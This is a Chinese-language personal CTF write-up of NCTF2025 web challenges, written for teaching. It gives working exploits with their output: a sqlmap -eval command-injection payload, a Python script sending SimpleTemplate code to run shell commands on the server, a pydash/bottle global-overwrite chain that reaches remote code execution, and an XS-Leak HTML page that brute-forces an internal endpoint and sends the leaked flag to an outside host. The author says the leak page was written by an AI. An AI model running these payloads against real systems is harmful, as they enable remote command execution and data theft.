文章

NCTF2025

ENOCH个人wp

一个人打,最终总榜24名

sqlmap

经过反复测试最终得到payload

http://127.0.0.1/?a=1 -eval=os=__import__('os');a=os.system('env') -v 6

eval可以执行python脚本,由于命令会被分割,选择os=__import__('os');a=os.system('env')绕过

效果

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.9.3#pip}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
......
[08:39:37] [INFO] testing connection to the target URL
KUBERNETES_PORT=tcp://192.168.0.1:443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=comp-sqlmapmaster-67601380902208059gn8zx
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_SHA256=2a9920c7a0cd236de33644ed980a13cbbc21058bfdc528febb6081575ed73be3
COLUMNS=80
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
......
FLAG=nctf{8148eb3f-2826-40ff-8f6d-102874a74ebd}
NLS_LANG=.AL32UTF8
[08:39:37] [CRITICAL] unable to connect to the target URL ('Connection refused'). sqlmap is going to retry the request(s)
......

ez_dash

源码

'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","func","render",
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
​
def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True
​
@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"
​
@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

非预期了,因为simpletemplate能通过<%%>执行python代码

import requests
import urllib
from urllib import parse
​
url="http://39.106.16.204:38960"
for i in range(1,100):
    cmd = input()
    a=f"""<% import os;eval("os"+chr(46)+"system('{cmd} > {i}')") %>""".replace(".","\"+chr(46)+\"") 
    encoded_b = parse.quote(a)
    re =  requests.get(url+"/render?path="+encoded_b)
    re1 =  requests.get(url+"/render?path="+f"{i}")
    print(re1.text)

dash2

修复了非预期,render额外过滤了<>%_,而且path长度限制在10以内

先打pydash,把set对于__globals__的限制解除

setValue?name=pydash
{"path":"helpers.RESTRICTED_KEYS","value":""}

然后把forbidden_name的限制解除

setValue?name=setval
{"path":"__globals__.__forbidden_name__","value":""}

然后修改默认的模板路径

setValue?name=setval
{"path":"__globals__.bottle.TEMPLATE_PATH","value":"/"}

然后修改默认的错误页面模板

setValue?name=bottle
{"path":"ERROR_PAGE_TEMPLATE","value":"<%import os;os.system('env > /1')%>"}

最后访问render?path=1就行了

internal_api

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Exploit</title>
</head>
<body>
    <p>测试</p>
    <script>
        var chars = '}-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{';
        var charLen = chars.length;
        var ENDPOINT = "http://127.0.0.1:8000/internal/search?s=";
        var MAX_LENGTH = 50;
​
        function search(leak, charIndex = 0) {
            // 终止条件
            if (leak.includes('}') || leak.length >= MAX_LENGTH) {
                console.log("Final flag: " + leak);
                fetch('http://uuvgn0k0.eyes.sh/leak?' + encodeURIComponent(leak), {
                    method: "POST",
                    mode: "no-cors"
                });
                return;
            }
​
            if (charIndex >= charLen) {
                console.log("No valid character found for: " + leak);
                return; // 无匹配字符,停止
            }
​
            var curChar = chars[charIndex];
            var url = ENDPOINT + leak + curChar;
            console.log("Testing: " + leak + curChar);
​
            var script = document.createElement('script');
            script.onload = () => {
                leak += curChar;
                fetch('http://uuvgn0k0.eyes.sh/leak?' + encodeURIComponent(leak), {
                    method: "POST",
                    mode: "no-cors"
                });
                console.log("Success: " + leak);
                document.body.removeChild(script);
                search(leak, 0); // 从头测试下一位
            };
            script.onerror = () => {
                document.body.removeChild(script);
                search(leak, charIndex + 1); // 测试下一个字符
            };
            script.src = url;
            document.body.appendChild(script);
        }
​
        function exploit() {
            search("nctf{");
        }
​
        exploit();
    </script>
</body>
</html>

ai写的,能出flag

接收到:leak?nctf%7B877cbd83-cbbe-42bb-a74e-f06a400189a7%7D

差一点ak web了,就差一个java题

可惜没怎么学过java,也没怎么写过,最终没写出来

要认真研究java了

跟大佬x1r0z聊了聊,发现他竟然是初中就接触ctf了,羡慕

许可协议:  CC BY 4.0